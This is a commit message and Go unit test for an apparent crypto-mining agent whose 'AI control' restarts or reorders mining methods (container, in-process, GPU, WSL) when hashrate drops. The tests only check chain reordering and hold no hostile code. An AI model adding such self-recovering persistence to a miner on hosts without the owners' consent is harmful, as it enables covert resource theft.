Add mining self-surgery for on-host recovery when AI control detects stalls.

When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.

agent/miner/fallback_chain_reorder_test.go

@@ -0,0 +1,29 @@
+package miner
+
+import (
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestReorderChainSkipsFailedMethods(t *testing.T) {
+	c := NewChainController(config.RuntimeConfig{}, ChainHooks{}, nil)
+	c.SetChainOrderForTest([]MiningMethod{MethodContainer, MethodInProcess, MethodGPUSubprocess})
+	c.ReorderChain(nil, []MiningMethod{MethodContainer})
+	st := c.Status()
+	if len(st.ChainOrder) != 2 {
+		t.Fatalf("chain=%v", st.ChainOrder)
+	}
+	if st.ChainOrder[0] != MethodInProcess {
+		t.Fatalf("first=%v want inprocess", st.ChainOrder[0])
+	}
+}
+
+func TestReorderChainReplacesOrder(t *testing.T) {
+	c := NewChainController(config.RuntimeConfig{}, ChainHooks{}, nil)
+	c.ReorderChain([]MiningMethod{MethodInProcess, MethodWSL}, nil)
+	st := c.Status()
+	if len(st.ChainOrder) != 2 || st.ChainOrder[0] != MethodInProcess {
+		t.Fatalf("chain=%v", st.ChainOrder)
+	}
+}